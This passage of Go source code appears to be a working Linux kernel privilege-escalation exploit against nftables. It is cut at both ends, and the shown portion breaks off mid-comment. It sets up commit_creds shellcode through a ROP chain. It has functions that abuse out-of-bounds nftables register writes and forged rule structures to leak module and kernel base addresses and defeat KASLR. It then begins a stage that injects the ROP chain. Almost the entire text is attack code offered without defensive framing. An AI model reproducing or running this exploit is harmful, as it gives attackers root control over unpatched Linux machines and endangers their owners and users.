0x10\n\tshellcode[12] = uint8(commit_creds_shellcode)\n\tshellcode[13] = uint8(commit_creds_shellcode >> 8)\n\tshellcode[14] = uint8(commit_creds_shellcode >> 16)\n\tshellcode[15] = uint8(commit_creds_shellcode >> 24)\n\n\t// copy shellcode to kernel (_copy_from_user)\n\tp64(kernelBase + currentConfig.pop_rdi)\n\tp64(kernelBase + currentConfig.x64_sys_modify_ldt_addr)\n\tp64(kernelBase + currentConfig.pop_rsi)\n\tp64(uint64(uintptr(unsafe.Pointer(&shellcode[0]))))\n\tp64(kernelBase + currentConfig.pop_rdx)\n\tp64(uint64(len(shellcode)))\n\tp64(kernelBase + currentConfig.copy_from_user_priv)\n\n\t// Make the kernel task hang\n\tp64(kernelBase + uint64(currentConfig.do_task_dead_addr))\n\n\treturn payload.Bytes()\n}\n\nfunc leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {\n\t// Main table for important chains\n\ttable := conn.AddTable(&nftables.Table{\n\t\tFamily: nftables.TableFamilyIPv4,\n\t\tName:   \"kaslr\",\n\t})\n\n\t// Set recovering the leaked values from the stack\n\tleakSet := nftables.Set{\n\t\tAnonymous: false,\n\t\tConstant:  false,\n\t\tName:      \"leak-set\",\n\t\tID:        1,\n\t\tIsMap:     true,\n\t\tTable:     table,\n\t\tKeyType:   nftables.TypeInteger,\n\t\tDataType:  nftables.TypeInteger,\n\t}\n\n\terr := conn.AddSet(&leakSet, nil)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could no create set: %v\", err)\n\t}\n\n\t// Chain used for leaking information off the stack\n\tleakChain := conn.AddChain(&nftables.Chain{\n\t\tName:  \"leak-chain\",\n\t\tTable: table,\n\t})\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 18,\n\t\t\t\tDestRegister:   8,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            24,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t\t// Add to the set the lsb's\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x00, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 14,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x01, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 15,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x02, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 16,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x03, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 17,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x04, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 18,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x05, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 19,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn err\n\t}\n\n\t// base chain alloc\n\tpolicy := nftables.ChainPolicyAccept\n\n\t// Put basechain in kmalloc-192\n\tbaseChain := conn.AddChain(&nftables.Chain{\n\t\tName:     \"base-chain\",\n\t\tTable:    table,\n\t\tType:     nftables.ChainTypeFilter,\n\t\tHooknum:  nftables.ChainHookInput,\n\t\tPriority: nftables.ChainPriorityFilter,\n\t\tPolicy:   &policy,\n\t})\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x01, 0x01, 0x01, 0x01},\n\t\t\t},\n\t\t\t&expr.Meta{\n\t\t\t\tKey:            unix.NFT_META_NFTRACE,\n\t\t\t\tSourceRegister: true,\n\t\t\t\tRegister:       8,\n\t\t\t},\n\t\t},\n\t})\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Verdict{\n\t\t\t\tKind:  expr.VerdictJump,\n\t\t\t\tChain: \"leak-chain\",\n\t\t\t},\n\t\t\t&expr.Verdict{\n\t\t\t\tKind: expr.VerdictReturn,\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not create base chain: %v\", err)\n\t}\n\n\tpacket_leak_path()\n\n\t// Recover entries from set\n\telems, err := conn.GetSetElements(&leakSet)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not get set elems: %v\", err)\n\t}\n\n\toffsets := []uint16{0, 0, 0, 0, 0, 0}\n\n\tfor _, elem := range elems {\n\t\tkey := binary.LittleEndian.Uint32(elem.Key)\n\t\tval := binary.BigEndian.Uint16(elem.Val)\n\n\t\toffsets[key] = val\n\t}\n\n\t// offsets[0] = jumpstack[0].chain      u16 lsb high u32\n\t// offsets[1] = jumpstack[0].chain      u16 lsb low  u32\n\t// offsets[2] = jumpstack[0].rules      u16 lsb high u32\n\t// offsets[3] = jumpstack[0].rules      u16 lsb low  u32\n\t// offsets[4] = jumpstack[0].rules_last u16 lsb high u32\n\t// offsets[5] = jumpstack[0].rules_last u16 lsb low u32\n\n\t// Free all rules from the leak chain and prepare it for a write\n\tconn.FlushChain(leakChain)\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not delete leakchain rules: %v\", err)\n\t}\n\n\t// chain low u16\n\tchainLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainLow, offsets[0])\n\n\t// chain high u16\n\tchainHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainHigh, offsets[1])\n\n\t// rules low u16\n\truleLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22)\n\n\t// rules high u16\n\truleHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleHigh, offsets[3])\n\n\t// rules_last low u16\n\truleLastLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8)\n\n\t// rules_last high u16\n\truleLastHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])\n\n\t// Payload to write lsb of rules pointer\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     chainLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 9,\n\t\t\t\tData:     chainHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 10,\n\t\t\t\tData:     ruleLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 11,\n\t\t\t\tData:     ruleHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 12,\n\t\t\t\tData:     ruleLastLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 13,\n\t\t\t\tData:     ruleLastHigh,\n\t\t\t},\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 8,\n\t\t\t\tDestRegister:   16,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            28,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not add oob write rule: %v\", err)\n\t}\n\n\t// Register our trace handler to recover the leak\n\ttraceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not setup listening socket: %v\", err)\n\t}\n\n\tdefer traceconn.Close()\n\n\t// Add to trace group\n\terr = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not add socket to trace group: %v\", err)\n\t}\n\n\t// Trigger our leak\n\tpacket_leak_path()\n\n\tfor {\n\t\tmessages, err := traceconn.Receive()\n\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Could not receive trace messages: %v\", err)\n\t\t}\n\n\t\t// Parse the trace messages\n\t\tfor _, m := range messages {\n\t\t\tad, err := netlink.NewAttributeDecoder(m.Data[4:])\n\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Could not create attribute decoder: %v\", err)\n\t\t\t}\n\n\t\t\tad.ByteOrder = binary.BigEndian\n\n\t\t\tfor ad.Next() {\n\t\t\t\tif ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {\n\t\t\t\t\taddr := ad.Uint64() >> 3\n\n\t\t\t\t\t// Check that the 3 lower nibbles are identical (untouched by kASLR)\n\t\t\t\t\tif (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\t// Small sanity check that the value > 32 bits\n\t\t\t\t\tif addr < 0x100000000 {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tmoduleBase := addr - currentConfig.immOpsOff\n\t\t\t\t\tmoduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine\n\n\t\t\t\t\tfmt.Printf(\"LEAK:%x\", moduleBase)\n\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {\n\t// Main table for important chains\n\ttable := conn.AddTable(&nftables.Table{\n\t\tFamily: nftables.TableFamilyIPv4,\n\t\tName:   \"kaslr\",\n\t})\n\n\t// Set recovering the leaked values from the stack\n\tleakSet := nftables.Set{\n\t\tAnonymous: false,\n\t\tConstant:  false,\n\t\tName:      \"leak-set\",\n\t\tID:        1,\n\t\tIsMap:     true,\n\t\tTable:     table,\n\t\tKeyType:   nftables.TypeInteger,\n\t\tDataType:  nftables.TypeInteger,\n\t}\n\n\terr := conn.AddSet(&leakSet, nil)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could no create set: %v\", err)\n\t}\n\n\t// Set recovering the leaked stack return address\n\tkleakSet := nftables.Set{\n\t\tAnonymous: false,\n\t\tConstant:  false,\n\t\tName:      \"kaslr-leak-set\",\n\t\tID:        1,\n\t\tIsMap:     true,\n\t\tTable:     table,\n\t\tKeyType:   nftables.TypeInteger,\n\t\tDataType:  nftables.TypeInteger,\n\t}\n\n\terr = conn.AddSet(&kleakSet, nil)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not create kernel leak set: %v\", err)\n\t}\n\n\t// Chain used for leaking information off the stack\n\tleakChain := conn.AddChain(&nftables.Chain{\n\t\tName:  \"leak-chain\",\n\t\tTable: table,\n\t})\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 18,\n\t\t\t\tDestRegister:   8,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            24,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t\t// Add to the set the lsb's\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x00, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 14,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x01, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 15,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x02, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 16,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x03, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 17,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x04, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 18,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x05, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 19,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn err\n\t}\n\n\t// base chain alloc\n\tpolicy := nftables.ChainPolicyAccept\n\n\tbaseChain := conn.AddChain(&nftables.Chain{\n\t\tName:     \"base-chain\",\n\t\tTable:    table,\n\t\tType:     nftables.ChainTypeFilter,\n\t\tHooknum:  nftables.ChainHookInput,\n\t\tPriority: nftables.ChainPriorityFilter,\n\t\tPolicy:   &policy,\n\t})\n\n\t// First rule: jump to leakchain to recover next rule ptr lsb\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Verdict{\n\t\t\t\tKind:  expr.VerdictJump,\n\t\t\t\tChain: \"leak-chain\",\n\t\t\t},\n\t\t},\n\t})\n\n\t// Second rule: craft a fake rule within a nft_range rule\n\tw := new(bytes.Buffer)\n\n\t// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)\n\t_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))\n\n\t// Write fake nft_byteorder\n\t// struct nft_byteorder {\n\t//   u8                         sreg;                 /*     0     1 */\n\t//   u8                         dreg;                 /*     1     1 */\n\t//   enum nft_byteorder_ops     op:8;                 /*     0:16  4 */\n\t//   u8                         len;                  /*     3     1 */\n\t//   u8                         size;                 /*     4     1 */\n\t//\n\t//   /* size: 8, cachelines: 1, members: 5 */\n\t//   /* padding: 3 */\n\t//   /* last cacheline: 8 bytes */\n\t// };\n\t_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff))\n\n\t// set byteorder::sreg as the offset // 4 of the return address on the stack\n\t_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))\n\t// set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict)\n\t_ = binary.Write(w, binary.LittleEndian, uint8(12))\n\t// set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters)\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t// set byteorder::len to 8 bytes\n\t_ = binary.Write(w, binary.LittleEndian, uint8(8))\n\t// set byteorder::size to 8 (u64)\n\t_ = binary.Write(w, binary.LittleEndian, uint8(8))\n\n\t// padding\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\n\t// Write partial nft_meta, which will overlap with the end of the real nft_range\n\t_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))\n\n\tpayload := w.Bytes()\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Range{\n\t\t\t\tOp:       expr.CmpOpNeq,\n\t\t\t\tRegister: 8, // Will overlap with meta->key\n\t\t\t\tFromData: payload[:16],\n\t\t\t\tToData:   payload[16:],\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not create base chain: %v\", err)\n\t}\n\n\t// Third rule, add our register, which will contain the address to the set\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x00, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 16,\n\t\t\t\tSetName:    \"kaslr-leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x01, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 17,\n\t\t\t\tSetName:    \"kaslr-leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not create base chain: %v\", err)\n\t}\n\n\tpacket_leak_path()\n\n\t// Flush the entries in kaslr leak set\n\tconn.FlushSet(&kleakSet)\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not flush kaslr leak set: %v\", err)\n\t}\n\n\t// Recover entries from set\n\telems, err := conn.GetSetElements(&leakSet)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not get set elems: %v\", err)\n\t}\n\n\toffsets := []uint16{0, 0, 0, 0, 0, 0}\n\n\tfor _, elem := range elems {\n\t\tkey := binary.LittleEndian.Uint32(elem.Key)\n\t\tval := binary.BigEndian.Uint16(elem.Val)\n\n\t\toffsets[key] = val\n\t}\n\n\t// offsets[0] = jumpstack[0].chain      u16 lsb high u32\n\t// offsets[1] = jumpstack[0].chain      u16 lsb low  u32\n\t// offsets[2] = jumpstack[0].rules      u16 lsb high u32\n\t// offsets[3] = jumpstack[0].rules      u16 lsb low  u32\n\t// offsets[4] = jumpstack[0].rules_last u16 lsb high u32\n\t// offsets[5] = jumpstack[0].rules_last u16 lsb low u32\n\n\t// Free all rules from the leak chain and prepare it for a write\n\tconn.FlushChain(leakChain)\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not delete leakchain rules: %v\", err)\n\t}\n\n\t// fmt.Println(\"[+] Flushed leak chain\")\n\n\t// for i, e := range offsets {\n\t// \tfmt.Printf(\"offset[%v] = 0x%x\\n\", i, e)\n\t// }\n\n\t// chain low u16\n\tchainLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainLow, offsets[0])\n\n\t// chain high u16\n\tchainHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainHigh, offsets[1])\n\n\t// rules low u16\n\t// Skip real rule_dp header + nft_range_ops\n\truleLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)\n\n\t// rules high u16\n\truleHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleHigh, offsets[3])\n\n\t// rules_last low u16\n\truleLastLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastLow, offsets[4])\n\n\t// rules_last high u16\n\truleLastHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])\n\n\t// Payload to write lsb of rules pointer\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     chainLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 9,\n\t\t\t\tData:     chainHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 10,\n\t\t\t\tData:     ruleLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 11,\n\t\t\t\tData:     ruleHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 12,\n\t\t\t\tData:     ruleLastLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 13,\n\t\t\t\tData:     ruleLastHigh,\n\t\t\t},\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 8,\n\t\t\t\tDestRegister:   16,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            28,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not add oob write rule: %v\", err)\n\t}\n\n\t// Trigger our leak\n\tpacket_leak_path()\n\n\t// Recover leaked return address from set\n\telems, err = conn.GetSetElements(&kleakSet)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not get set elems: %v\", err)\n\t}\n\n\toffsets2 := []uint32{0, 0}\n\n\tfor _, elem := range elems {\n\t\tkey := binary.LittleEndian.Uint32(elem.Key)\n\t\tval := binary.BigEndian.Uint32(elem.Val)\n\n\t\toffsets2[key] = val\n\t}\n\n\tleakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1])\n\n\tif (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) {\n\t\treturn fmt.Errorf(\"Invalid pointer: %x\", leakedPtr)\n\t}\n\n\tfmt.Printf(\"LEAK:%x\\n\", leakedPtr-currentConfig.ipLocalDeliverReturn)\n\n\treturn nil\n}\n\nfunc ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {\n\t// Rop chain for our post exploit\n\tropchain := craft_rop_chain(kernelBase)\n\n\t// Main table for important chains\n\ttable := conn.AddTable(&nftables.Table{\n\t\tFamily: nftables.TableFamilyIPv4,\n\t\tName:   \"rop\",\n\t})\n\n\t// Set recovering the leaked values from the stack\n\tleakSet := nftables.Set{\n\t\tAnonymous: false,\n\t\tConstant:  false,\n\t\tName:      \"leak-set\",\n\t\tID:        1,\n\t\tIsMap:     true,\n\t\tTable:     table,\n\t\tKeyType:   nftables.TypeInteger,\n\t\tDataType:  nftables.TypeInteger,\n\t}\n\n\terr := conn.AddSet(&leakSet, nil)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could no create set: %v\", err)\n\t}\n\n\t// Chain used for leaking information off the stack\n\tleakChain := conn.AddChain(&nftables.Chain{\n\t\tName:  \"leak-chain\",\n\t\tTable: table,\n\t})\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 18,\n\t\t\t\tDestRegister:   8,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            24,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t\t// Add to the set the lsb's\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x00, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 14,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x01, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 15,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x02, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 16,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x03, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 17,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x04, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 18,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     []byte{0x05, 0x00, 0x00, 0x00},\n\t\t\t},\n\t\t\t&expr.Dynset{\n\t\t\t\tSrcRegKey:  8,\n\t\t\t\tSrcRegData: 19,\n\t\t\t\tSetName:    \"leak-set\",\n\t\t\t\tOperation:  uint32(unix.NFT_DYNSET_OP_ADD),\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn err\n\t}\n\n\t// base chain alloc\n\tpolicy := nftables.ChainPolicyAccept\n\n\tbaseChain := conn.AddChain(&nftables.Chain{\n\t\tName:     \"base-chain\",\n\t\tTable:    table,\n\t\tType:     nftables.ChainTypeFilter,\n\t\tHooknum:  nftables.ChainHookInput,\n\t\tPriority: nftables.ChainPriorityFilter,\n\t\tPolicy:   &policy,\n\t})\n\n\t// First rule: jump to leakchain to recover next rule ptr lsb\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Verdict{\n\t\t\t\tKind:  expr.VerdictJump,\n\t\t\t\tChain: \"leak-chain\",\n\t\t\t},\n\t\t},\n\t})\n\n\t// Second rule: craft a fake rule within a nft_range rule\n\tw := new(bytes.Buffer)\n\n\t// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)\n\t_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))\n\n\t// Write fake nft_payload\n\t// struct nft_payload {\n\t//   enum nft_payload_bases     base:8;               /*     0: 0  4 */\n\t//   u8                         offset;               /*     1     1 */\n\t//   u8                         len;                  /*     2     1 